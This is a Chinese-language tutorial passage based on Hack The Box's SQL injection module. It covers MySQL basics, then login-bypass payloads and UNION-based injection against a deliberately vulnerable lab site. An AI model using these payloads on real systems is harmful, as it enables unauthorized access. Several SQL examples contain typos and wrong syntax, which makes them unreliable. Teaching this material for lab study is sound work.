当前位置:网站首页>Hack The Box -SQL Injection Fundamentals Module详细讲解中文教程
Hack The Box -SQL Injection Fundamentals Module详细讲解中文教程
2022-07-26 05:18:00 【renu08】
目录
数据库介绍............................................................................................................... 3
数据库管理系统(DBMS)介绍........................................................................... 3
数据库的类型..................................................................................................... 4
1.1关系型数据库(RDBMS)....................................................................... 4
1.2非关系型数据库(NOSQL).................................................................... 5
MySQL数据库介绍.............................................................................................. 6
1.1SQL语句功能.......................................................................................... 6
1.2命令行工具介绍..................................................................................... 6
1.2.1mycli安装...................................................................................... 6
1.2.2mycli基本用法............................................................................... 7
1.3表的一些字段属性介绍.................................................................... 8
SQL语句基本用法............................................................................................... 9
1.1INSERT语句用法..................................................................................... 9
1.2SELECT语句用法.................................................................................... 10
1.3DROP语句用法...................................................................................... 10
1.4ALTER语句用法..................................................................................... 10
1.5UPDATE语句用法.................................................................................. 11
SQL语句的请求结果.......................................................................................... 11
1.1排序(SORT)结果............................................................................... 11
1.2指定输出记录数................................................................................... 12
1.3WHERE关键字用法................................................................................ 13
1.4LIKE关键字用法.................................................................................... 13
SQL语句运算符................................................................................................. 14
1.1AND(&&)运算符................................................................................ 14
1.2OR(||)运算符.................................................................................... 14
1.3NOT(!)运算符.................................................................................... 15
1.4逻辑运算符在SQL语句中的应用........................................................... 15
1.5运算符优先级....................................................................................... 16
SQL注入........................................................................................................... 17
1.1SQL语句在Web应用中的使用............................................................... 17
1.2SQL注入漏洞的产生.............................................................................. 17
1.3SQL注入的类型..................................................................................... 18
1.4修改SQL语句请求逻辑......................................................................... 19
1.4.1SQL注入点测试........................................................................... 20
1.4.2OR注入....................................................................................... 20
1.5注释符................................................................................................. 22
1.6利用注释符绕过用户登录验证.............................................................. 23
1.7Union关键字讲解.................................................................................. 24
1.8Union 关键字注入................................................................................. 26
Payload构造与利用........................................................................................... 29
1.1枚举数据库.......................................................................................... 29
1.1.1INFORMATION_SCHEMA 数据库讲解............................................ 29
1.1.2 SCHEMATA表讲解....................................................................... 30
1.2读文件................................................................................................. 32
1.2.1权限等级.................................................................................... 33
1.2.2LOAD_FILE................................................................................... 34
1.3写文件................................................................................................. 35
1.3.1判断是否拥有写文件权限............................................................ 35
1.3.2写入一个web shell文件.............................................................. 36
实战训练................................................................................................................. 37
数据库介绍
在我们开始学习SQL注入技术之前,我们需要了解我们是怎样来操作数据库的,我们是通过SQL语句来操作数据库,一个web应用是通过后端数据库存储数据,然后web应用根据用户的相关操作来执行相应的SQL语句获取数据库中的数据或者将数据写入数据库中,例如:用户的登录和新用户的注册
数据库的类型有很多,每种数据库它都有自己的一套语法,并且随着数据库的数据增加,读写数据就会变慢,这样Web应用的执行效率就大大降低了,这就导致我们需要采用一个数据库管理系统(DBMS)来对数据库进行管理,来提高Web应用的读写效率
数据库管理系统(DBMS)介绍
数据库管理系统是用来创建和管理数据库的,随着时间的发展,更多的数据库管理系统被设计出来,例如,关系数据库管理系统(RDMBS),非关系数据库管理系统(NoSQL)等
那我们如何操作数据库管理系统,这里我们有多种方法来操作数据库管理系统,例如:
命令行工具,一些图形化的管理工具,应用程序接口(API)等
基本数据库管理系统(DBMS)的功能,如下:
并发性(Concurrency): 在生产环境下,也许同时有多个用户操作这个数据库,DBMS 确保这些并发交互成功而不会损坏或丢失任何数据
一致性(Consistency):大量的并发交互,DBMS 需要确保数据在整个数据库中保持一致和有效
安全性(Security): 通过用户验证的用户只能以他拥有的权限来操作DBMS,这就防止了未验证的非法用户来操纵
可靠性(Reliability): 在数据丢失的情况下,数据库备份很容易恢复到之前状态
SQL语句:用户与数据库进行交互的命令,用户通过SQL语句操作数据库执行相应操作
通常用户在一个网站查看一些内容时,网站是如何从后端数据库中获取数据返回给用户的,基本过程如下图所示:

数据库的类型
一般的数据库分为关系型数据库(RDBMS)和非关系型数据库(NOSQL),关系型数据库通过SQL语句与用户交互,非关系型数据库通过一些特定的方法与用户交互
1.1关系型数据库(RDBMS)
顾名思义,就是这种数据库里面创建的表之间可以相互关联,我们只需输入一个信息,就能获取和它相关联的所有信息,打个比方来说,我们需要存储一个客户信息的数据,我们可以创建一张表只记录这个客户的基本信息,例如:姓名,年龄,性别,联系方式,然后再创建一张表记录客户的详细购买的产品信息,关系型数据库就能很好的把这两张表关联起来,我们查询的时候只需输入用户名,那么这个用户的所有信息就会被查询出来,表与表之间是通过key(主键)来实现关联,这样所有的记录就能相互联系,便于用户查询
关系数据库的种类比较多,
例如:”MicrosoftAccess”,”MySQL”,”SQL Server”,”Oracle”,”PostgreSQL”等等
关系型数据库是由表组成,我们查询数据,其实就是对表的操作,表是由字段(columns)组成,例如:id,username,first_name,last_name等,通常id字段作为一张表的key(主键),通过它和其他表进行关联,如下图:
Users :
id | username | First_name | Last_name |
1 | admin | admin | admin |
2 | test | test | test |
Posts:
id | User_id | date | content |
1 | 1 | 01-01-2022 | xxxxxx |
2 | 2 | 02-01-2022 | xxxxxx |
我们把users表的id字段与posts表的user_id字段关联起来,例如,当我们查询admin用户时,我们就能获取到他的所有相关信息,users表和posts中的信息
1.2非关系型数据库(NOSQL)
非关系型数据库通过存储模型来存储数据,不同的数据存储数据模型不一样,非关系型数据库相对于关系型数据库数据存储方式更加的灵活,具有可拓展性,所以,当我们不好定义一个数据结构来存储数据的时候,我们就可以用非关系型数据库来存储我们的数据,NOSQL通常有几种存储模型,如下:
Key-Value存储模型
Document-Based存储模型
Wide-Column存储模型
Graph存储模型
这些数据存储模型,区别在与存储数据的方式不一样,例如,Key-Value存储模型,通常将数据存储为JSON或者XML结构,如下:
Posts:

JSON结构:
{
"100001": {
"date": "01-01-2022",
"content": "xxxxxxx"
},
"100002": {
"date": "02-01-2022",
"content": "xxxxxxx"
},
"100003": {
"date": "03-01-2022",
"content": "xxxxxxx"
}
}
Tips:JSON结构是以{‘key’:’value’}结构这样一对一对的存储数据的,一个key对应一个value,常用的NOSQL是MongoDB
MySQL数据库介绍
本章我们以MySQL数据库来讲解SQL Injection技术,所以接下来我们需要介绍MySQL数据库相关的一些知识,我们需要知道MySQL数据库是怎么按照我们输入的SQL语句执行指定操作的,Mysql数据库有两种,一种就是MySQL,另一种就是MariaDB,区别在于MariaDB是开源数据库,两种数据库基本一样,但是也有一些语法不一样,下面来介绍下SQL语句是干什么用的?
1.1SQL语句功能
Sql语句是用户与数据库进行交互的一种媒介,通过它,用户就能对数据库进行操作,那我们能进行哪些操作呢,如下:
获取数据
修改数据
删除数据
创建新的数据库或者表
添加或者删除用户
赋予用户权限
1.2命令行工具介绍
针对MySQL和MariaDB数据库我们使用”mycli”这个命令行工具来与用户进行交互,下面介绍一下一些简单的用法,详细用法请查看帮助文档
Python package安装方式:
$ pip3 install mycliMacOS上安装方式:
$ brew update && brew install mycliDebian或者ubuntu上安装方式:
$ sudo apt-get install mycliTips:Mycli是Python编写的一个工具,所以本地必须先安装python,详细帮助文档链接:
https://github.com/dbcli/mycli
1.2.2mycli基本用法
连接数据库,命令如下:
mycli -u my_user -h my_host.com -P port连接成功后,如下:
Password:
…
SNIP
…
mysql>Tips:默认MySQL和MariaDB数据库端口号3306,这个可以通过数据库的配置文件进行修改
创建一个数据库,命令如下:
CREATE DATABASE users创建成功,如下:
mysql> CREATE DATABASE users
Query OK, 1 row affected
Time: 0.319sTips:SQL语句不区分大小写,users数据库名,区分大小写
列出当前服务器上的所有数据库,命令如下:
mysql> SHOW DATABASES结果如下:
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| users |
+--------------------+
6 rows in set
Time: 0.300s我们可以看到之前我们创建的数据库users
选择users数据库,命令如下:
mysql> USE users结果如下:
You are now connected to database "users" as user "root"
Time: 0.277s在users数据库中,创建一张表,命令如下:
mysql>create table logins (id INT,username VARCHAR(100),passwd VARCHAR(100),data_of_joining DATE)
mysql> SHOW TABLES结果如下:
+-----------------+
| Tables_in_users |
+-----------------+
| logins |
+-----------------+
1 row in set
Time: 0.331sTips:DESCRIBE命令用来列出当前表字段的数据类型,命令如下:
mysql> DESCRIBE logins结果如下:
+-----------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | <null> | |
| username | varchar(100) | YES | | <null> | |
| passwd | varchar(100) | YES | | <null> | |
| data_of_joining | date | YES | | <null> | |
+-----------------+--------------+------+-----+---------+-------+到这里我们就创建完users数据库并且在这个数据库中创建了logins表,关于mycli这个命令行工具的其他使用方法,参考帮助文档使用
1.3表的一些字段属性介绍
AUTO_INCRTMENT : 表示这个字段自动递增,通常用在id字段,如下:
Id INT NOT NULL AUTO_INCRTMENT
NOT_NULL : 限制这个字段不能为空,如下:
Id INT NOT NULL AUTO_INCRTMENT
UNIQUE : 限制这个字段写入的内容唯一,不能重复,如下:
Username VARCHAR(100) UNIQUE NOT NULL
DEFAULT : 指定一个默认值,如下:
date_of_joining DATETIME DEFAULT NOW()PRIMARY KEY : 设置表的一个字段为主键,如下:
PRIMARY KEY(id)
SQL语句基本用法
现在我们已经知道了怎么使用mycli来创建一个数据库和一个表了,现在让我们来学习下SQL语句的具体用法
1.1INSERT语句用法
INSERT语句用来向表中插入数据的,表中的每一行数据,我们在数据库中叫做记录,所以也叫做插入一条记录,如下:
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);table_name : 表名,表示当前要插入记录的那张表
column1_value : 插入第一个字段的值
column2_value : 插入第二个字段的值
column3_value:插入第三个字段的值
以此类推…
例如,我们向users数据库中的logins表插入一条记录,命令如下:
mysql>INSERT INTO logins VALUES (1,’admin’,’passwd’,’2022-07-22’);由于id,data_of_joining这两个字段默认都有值,所以我们不需要给这两个字段赋值,可以指定字段赋值,命令如下:
mysql>INSERT INTO logins(username,passwd) VALUES (‘admin’,’passwd’);我们还可以插入多条记录,命令如下:
mysql>INSERT INTO logins(username,passwd) VALUES (‘admin’,’passwd’),(‘test’,’testpasswd’);
1.2SELECT语句用法
SELECT语句用来从数据库中查询记录,这个语句有不同的使用方法,我们这里只介绍基本的使用方法,用来查询一条记录,如下:
SELECT * FROM table_name;* :通配符,用来匹配表中的所有字段
FROM:用来指定一张表
table_name:表名
例如,我们来查询users数据库中,logins表中的所有记录,命令如下:
mysql>SELECT * FROM logins;我们也可以查找指定字段的内容,命令如下:
mysql>SELECT username,passwd FROM logins;这样我们只查询username,passwd这两个字段的内容了
1.3DROP语句用法
DROP语句是用来完全删除数据库和表的,并且没有任何提示信息,所以要慎用,如下:
DROP DATABASE db_name;
DROP TABLE table_name;DROP DATABASE:删除指定数据库
db_name:数据库名
DROP TABLE:删除指定表
table_name:表名
例如,我们删除users数据库中的logins表,然后 在删除users这个数据库,命令如下:
mysql>DROP TABLE logins;
mysql>DROP DATABASE users;1.4ALTER语句用法
ALTER语句是用来对数据表中的字段进行修改,例如,修改字段名,添加或删除一个字段,如下:
修改表名:
ALTER TABLE table_name RENAME COLUMN newColumn TO oldColumn;添加一个新字段:
ALTER TABLE table_name ADD newColumn INT;修改字段数据类型:
ALTER TABLE table_name MODIFY oldColumn DATE;删除一个字段:
ALTER TABLE table_name DROP oldColumn;1.5UPDATE语句用法
UPDATE语句用来更新数据表中满足条件的记录,如下:
UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;table_name:表名
SET:设置字段
column1:第一个字段
newvalue1:第一个字段的值
column2:第二个字段
newvalue2:第二个字段的值
WHERE:关键词 <条件>
例如,我们来修改users数据库中,logins表中admin用户的密码,修改成change_passwd,命令如下:
mysql> UPDATE logins SET password = 'change_password' WHERE username=’admin’;SQL语句的请求结果
这一节我们将学习怎样控制我们SQL语句执行后输出结果的方式,以数据库users中的logins表为例,来讲解SQL语句的用法
1.1排序(SORT)结果
我们可以用ORDERBY关键字指定一个字段用来排序我们输出的结果,如下:
升序(ASC):
mysql> SELECT * FROM logins ORDER BY password;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+Tips:默认排序的结果是以升序(ASC)显示的
降序(DESC):
mysql> SELECT * FROM logins ORDER BY password DESC;结果如下:
----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+我们还可以指定多个字段按指定顺序排序,如下:
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;password字段降序,id字段升序:
结果如下:
+----+---------------+-----------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-----------------+---------------------+
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:50 |
| 3 | john | change_password | 2020-07-02 11:47:16 |
| 4 | tom | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+1.2指定输出记录数
我们使用LIMIT关键字来指定我们显示的记录数量,例如,LIMIT 2,表示只显示2条记录,如下:
mysql> SELECT * FROM logins LIMIT 2;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+我们还可以指定从那条记录开始,在指定显示记录的数量,如下:
mysql> SELECT * FROM logins LIMIT 1, 2;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+Tips:LIMIT1,2中1表示记录的偏移量,显示从第2条记录开始,往后的2条记录,记录的索引是从0开始,0表示第1条记录
1.3WHERE关键字用法
WHERE <condition>通过指定条件过滤,只显示满足条件的结果,我们通常和SELECT语句组合使用,如下:
mysql> SELECT * FROM logins WHERE id > 1;例如:我们要查询logins表中id >1的记录,命令如下:
mysql> SELECT * FROM logins WHERE id > 1;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
| 3 | john | john123! | 2020-07-02 11:47:16 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+结果只显示id>1的记录
1.4LIKE关键字用法
LIKE ‘%xxx’匹配满足这个表达式,只显示满足这个表达式的记录,如下:
SELECT * FROM table_name WHERE column_name LIKE 'xxxxx%';例如:我们要查询logins表中,username字段中以admin开头的记录,命令如下:
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 4 | administrator | [email protected] | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+例如:我们要查询logins表中,username字段中只有3个字符内容的记录,命令如下:
mysql> SELECT * FROM logins WHERE username like '_ _ _';结果如下:
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 3 | tom | tom123! | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+Tips:’%’这个字符是通配符,可以匹配任意多个数量的字符,’_’这个字符只能匹配单独一个字符
SQL语句运算符
1.1AND(&&)运算符
AND运算符有两个条件,只有两个条件都为TRUE时,结果为TRUE,如下:
关键字表示:condition1 AND condition2符号表示:condition1 && condition2如果condition1结果为TRUE,condition2结果为TRUE,那么最终结果为TRUE,反之只要两个条件有一个结果为FALSE,那么最终结果就为FALSE
Tips:在mysql数据库中非零即为TRUE,通常TRUE返回1,FALSE返回0
1.2OR(||)运算符
OR运算符也有两个条件,只要有一个条件为TRUE,那么最终结果为TRUE,如下:
关键字表示:condition1 OR condition2符号表示:condition1 || condition2如果condition1结果为TRUE,不管condition2结果是什么,那么最终结果就为TRUE
1.3NOT(!)运算符
NOT运算符,用来取反TURE或FALSE的结果,如下:
关键字表示:NOT TRUE = FALSE,反之NOT FALSE = TRUE
符号表示:! TRUE = FALSE,反之! FALSE = TRUE
1.4逻辑运算符在SQL语句中的应用
三种逻辑运算符的具体用法我们以users数据库中logins表为例,下面我们举例说明
- 查询logins表中username字段不是john的记录,命令如下:
mysql> SELECT * FROM logins WHERE username != 'john';结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)2)查询logins表中username字段不是john并且id字段大于1的记录,命令如下:
mysql> SELECT * FROM logins WHERE username != 'john' AND id > 1;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | [email protected] | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)1.5运算符优先级
这里以倒金字塔表示优先级由上到下,从高到低,如下:

我们以users数据库中的logins表为例,查询username字段不是tom 并且id大于1的记录,命令如下:
mysql> select * from logins where username != 'tom' AND id > 3 - 2;结果如下:
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | [email protected] | 2020-07-03 12:03:53 |
| 3 | john | john123! | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)SQL注入
我们已经学习了MySQL和SQL语句的基本用法,现在我们开始学习下SQL注入技术
1.1SQL语句在Web应用中的使用
首先,我们要了解Web应用是怎样操作数据库的,比如,怎么从数据库中获取和存储数据,我们来看下PHP编写的Web应用是如何连接MySQL数据库的,如下:
php code:
$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);
SQL语句请求完的结果被存储在$result变量中,然后我们把请求的结果打印出来,如下:
php code:
while($row = $result->fetch_assoc() ){
echo $row["name"]."<br>";
}
Web应用通常根据用户的输入信息来获取数据库中的内容,如下:
php code:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
Tips:如果我们在SQL语句中直接插入用户的输入信息进行请求,当代码存在漏洞时,这时就会产生SQL注入漏洞
1.2SQL注入漏洞的产生
这里我们以后端PHP代码为例,进行讲解,如下:
php code:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
在这个场景中,用户的输入直接作为SQL语句的组成部分,这将导致SQL注入的产生,我们可以看到,我们输入的内容直接赋给了$searchInput变量,然后我们看到SQL语句中是直接拼接上我们的这个变量,所以如果我们构造一个特殊的值给这个变量赋值,那么就能间接构造SQL语句,来执行我们的命令,一般我们通过一个单引号来闭合之前的SQL语句,然后再构造我们实际要执行的SQL语句,来完成SQL注入,现在我们需要构造一个SQL语句,来查询当前服务器上的数据库有哪些,如下:
原始的SQL语句,如下:
"select * from logins where username like '%$searchInput'";
我们构造一个$searchInput变量值为:admin’;SHOW DATABASES
那么现在SQL语句变成了,如下:
"select * from logins where username like '%admin’ ;SHOW DATABASES '";
这样我们就构造出来了一个全新的SQL语句,我们来执行下,我们发现报错了,提示SQL语法错误,我们来看看这到低怎么回事?
结果如下:
Error: near line 1: near "'": syntax error这是因为SQL语句中引号都是成对出现的,我们虽然闭合了前面'%admin’的一个引号,但是在;SHOW DATABASES '";这位置有一个单引号没有闭合导致语法错误,那我们该怎么解决这个问题呢?接下来我们会讲到使用注释符来解决这个问题,现在我们只需理解SQL注入是怎么发生的就好,不急,我们继续讲解
1.3SQL注入的类型
1)Sql语句执行的结果直接输出到前端,我们可以直接读取输出这种类型的,我们叫做In-band,换句话说,也就是有回显信息,分为两类,如下:
Union Based:这种注入方法,我们可以指定输出的结果到指定的位置,通常输出到指定字段,我们就可以直接在那个字段处读取输出
Error Based:这种注入方法,我们可以在前端获取php或者SQL的错误,我们就利用会发生错误,让sql语句请求触发错误,返回包含输出结果的错误信息
2)SQL语句执行完后不管成功与否,都不会输出任何信息的这种类型,我们叫做Blind,换就话说,也就是没有任何回显信心,分为两类,如下:
Boolean Based:这种注入方式,我们可以给SQL语句指定条件,如果条件为TURE,看页面是否会返回信息
Time Based:这种注入方式,我们使用Sleep()函数,如果SQL语句指定的条件为TRUE,那么页面的响应将会被延时
3)在有些场景中,我们不能直接从服务器获取SQL语句执行后输出的结果,我们可以直接输出结果到一个远程位置,例如,DNS记录,然后我们就能从这边获取到SQL语句输出的结果,这种SQL注入的类型,我们叫做out-of-band(OOB),除通过服务器直接获取数据以外的方式统称
1.4修改SQL语句请求逻辑
现在我们学习怎样通过SQL注入修改原SQL语句的请求逻辑,例如,绕过一个基本的用户验证页面,如下:

我们可以通过用户名和密码登录,如下:

登录成功,我们可以看到页面显示了执行的SQL语句,如下:
SELECT * FROM logins WHERE username='admin' AND password = '[email protected]';我们看到我们输入的用户名和密码被直接插入到SQL语句中,这个语句需要用户名和密码都正确,才能登录成功,接下来会讲解怎么去改变原SQL语句执行逻辑,在讲解之前,我们先来学习下怎么去测试一个位置是否存在SQL注入的漏洞
1.4.1SQL注入点测试
对于SQL注入点的测试,我们一般在我们的测试参数后添加如下字符测试,看结果会不会发生错误或者当前测试页面是否改变等

Tips:在有些场景中,我们需要使用URL编码后的字符,例如,一个GET请求
现在我们开始测试这个地方是否存在SQL注入,我们在username输入框中,输入一个单引号,然后,我们点击Login按钮看看,结果如下:

我们可以看到提示,引起了一个SQL语法错误,之前已经讲解过为什么报错,这就说明这个位置存在SQL注入漏洞,好了,现在我们已经找到了SQL注入的位置,接下来我们学习SQL注入的基本方法
1.4.2OR注入
通过之前分析,我们需要输入正确的用户名和密码,SQL语句才能执行,那是因为,当用户名和密码都正确时WHERE语句最终结果为TRUE,所以SQL语句才能执行,那么如果我们能构造一个SQL语句让WHERE语句返回TRUE,那么我们不就能执行原SQL语句,登成功了嘛
构造username参数的值,如下:
Username = admin'or'1'='1
Password = something #密码随便,为防止这个字段会检测空,造成其他不必要的错误
那么原SQL语句变成如下:
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';我们来分析在上述SQL语句执行的逻辑,如下:
我们知道AND运算符的优先级高于OR运算符的优先级,所以,WHERE语句会先执行1=1 AND password=something,由于password不正确,所以最终结果为FALSE,然后再执行username=admin OR FALSE,由于username=admin正确,所以最终结果为TRUE,最终SQL语句变成如下:
SELECT * FROM logins WHERE TRUE;这样SQL语句就执行了,我们就通过SQL注入成功绕过了用户验证

Tips:有关绕过用户验证的payload,我们常用的是PayloadAllTheThings这个工具包,里面包含了各种类型Web 渗透测试的payload
下载地址:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass
上面我们是知道admin是有效的用户名,那如果我们不知道有效的用户名时,那又该怎样做呢?
我们先随便输入一个用户名,看看,如下:

我们发现提示登录失败,这是肯定的,我们在分析一下这个SQL语句,如下:
SELECT * FROM logins WHERE username='notAdmin or ‘1’=’1' AND password = 'something';首先,我们知道WHERE语句中,先判断1=1 AND password=something,1=1恒成立,所以结果为TRUE,password=something结果为FALSE,所以最终结果为FALSE
然后再判断username=notAdmin OR FALSE,因为notAdmin不存在,所以为FALSE,最终结果为FALSE,那么最终的SQL语句变成了,如下:
SELECT*FROM logins WHERE FALSE;
WHERE条件为FALSE,所以SQL语句不执行,所以最终显示登录失败,既然知道了原因,那我们就要构造出让WHERE语句始终为TRUE才行,我们既然知道AND的优先级高于OR,那么只要最后执行OR 给它一个TRUE结果,不就可以了嘛,这里我们构造username和password两个参数的值,如下:
Username = notAdmin’ OR ‘1’ = ‘1
Password = something’ OR ‘1’=’1
那么原SQL语句变成,如下:
SELECT * FROM logins WHERE username='notAdmin or ‘1’=’1' AND password = 'something’ OR ‘1’=’1';我们来分析一下这个SQL语句执行的逻辑,如下:
首先,WHERE语句先判断’1’=’1’ AND password = ‘something’,由于password不正确,所以AND最终结果为FALSE,SQL语句就变成,如下;
SELECT * FROM logins WHERE username='notAdmin or FALSE OR ‘1’=’1';然后,WHERE语句在判断username ='notAdmin or FALSE,由于username不正确,所以最终OR结果为FALSE,sql语句就变成,如下:SELECT * FROM logins WHERE FALSE OR ‘1’=’1';最后,WHERE语句在判断‘1’=’1'恒成立,所以为TRUE,最终OR语句结果为TRUE,最终的SQL语句变成,如下:
SELECT * FROM logins WHERE TRUE;这样SQL语句就执行了,我们就通过SQL注入成功绕过了用户验证
1.5注释符
这一节我么学习使用注释符来改变SQL语句请求的逻辑,来绕过用户登录验证,下面我们先讲解一下,SQL语句中常用的一些注释符,MYSQL中一般有三种,’- - ’,’#’,’/**/’(不常用),下面我们来介绍下常用的这两种
- - 注释符:
这个注释符- -后面有个空格字符,要注意,一般我们这么使用这个注释符-- -在这个注释符后再添加一个-这样就能很明确的看到有个空格了,URL编码后- -+,我们举个例子来看下,如下:
mysql> SELECT username FROM logins; -- Selects usernames from the logins table我们就注释掉了--后面的所有内容,结果如下:
+---------------+
| username |
+---------------+
| admin |
| administrator |
| john |
| tom |
+---------------+
4 rows in set (0.00 sec)#注释符:
#这个注释符的作用一样,我们举个例来看下,如下:
mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'我们注释掉了#后面的所有内容,结果如下:
+----+----------+----------+---------------------+
| id | username | password | date_of_joining |
+----+----------+----------+---------------------+
| 1 | admin | [email protected] | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)1.6利用注释符绕过用户登录验证
这里我们以之前的例子讲解,原SQL语句如下:
SELECT * FROM logins WHERE username='admin-- ' AND password = 'something';我们修改下,username参数的值为admin’--
这样SQL语句变成,如下:
SELECT * FROM logins WHERE username='admin-- ' AND password = 'something';我们发现我们成功登录了,这是因为我们注释了admin后的所有内容,只要username=admin正确,SQL语句就能执行,实际SQL语句变成,如下:
SELECT * FROM logins WHERE username='admin’;我们来看另一个例子,如下:

我们发现这里有多个条件,我们怎么利用注释符绕过,我们先来试试我们之前的方法,username=admin’--
结果如下:

我们发现有个语法错误,想想怎么回事?
我们看到WHERE(username=’admin’-- ‘ AND id > 1),当我们使用注释符注释掉后面的内容时,把右括号也注释掉了,左边还有个左括号,所以产生语法错误,我们只要添加一个右括号就可以了,如下:
Username=admin’)--
SQL语句变成如下:
SELECT * FROM logins (WHERE username='admin’)-- AND id > 1) AND password =’;最终的SQL语句为:
SELECT * FROM logins (WHERE username='admin’)结果如下:

我们发现成功登录了
1.7Union关键字讲解
Union关键字可以把多条SQL语句的结果集合到一起输出,我们举个例子来讲解一下,这里有两张表ports表和ships表,我们先来查询表中的所有记录,命令如下:
mysql> SELECT * FROM ports;结果如下:
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-21 | Shenzhen |
+----------+-----------+
3 rows in set (0.00 sec)mysql> SELECT * FROM ships;结果如下:
+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
1 rows in set (0.00 sec)现在我们使用Union关键字来查询,把两张表的结果集合到一起输出,命令如下:
mysql> SELECT * FROM ports UNION SELECT * FROM ships;结果如下:
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)Tips:使用Union关键字来查询两张表的内容时,对应的字段的数据类型必须一样,字段数必须相等
我们还是以上述ports和ships表为例,在使用Union 注入时,一般会有两种情况,一种是知道原SQL语句查询的表字段数是多少,我们Union SQL语句查询另一张表时就可以构造相同的字段数,如下:
SELECT * FROM prots UNION SELECT Ship,city FROM ships;结果如下:
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)另一种情况是我们不知道原SQL语句查询的表中的字段数,我们可以用一个垃圾值站位,然后判断出,原SQL语句查询的表中的字段数,如下:
SELECT * FROM prots UNION SELECT 1,2 FROM ships;结果如下:
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| 1 | 2 |
| 1 | 2 |
+----------+-----------+
4 rows in set (0.00 sec)1.8Union 关键字注入
上面我们讲解了Union关键字的基本用法,这里我们讲解如何利用Union关键字注入,我们以一个例子来讲解Union关键字的注入技术,如下:
我们假设构建了一个网站,URL: http://SERVER_IP:PORT/search.php?port_code=cn,存在SQL注入漏洞,我们开始实验

首先我们利用之前学到的测试SQL注入漏洞的方法进行测试注入点,我们这里使用单引号,来测试,我们在文本框中输入一个单引号,如下:

我们发现报了一个SQL语法错误,说明这是这个地方存在SQL漏洞注入点,并且有回显信息,满足我们Union关键字注入技术的条件,所以下面我们使用Union关键字注入技术
要使用Union关键字注入,首先要判断出原SQL语句查询的表中的字段数,我们现在并不知道,所以需要利用上面讲到的用一个垃圾直站位来进行判断原数表中的字段数,一般有两种方法,如下:
使用ORDER BY
我们可以指定按照那个字段进行排序,例如:ORDER BY 1,以此类推,知道发生一个错误,提示指定字段不存在,我们就能判断出原SQL语句查询的数据表中的字段数,命令如下:
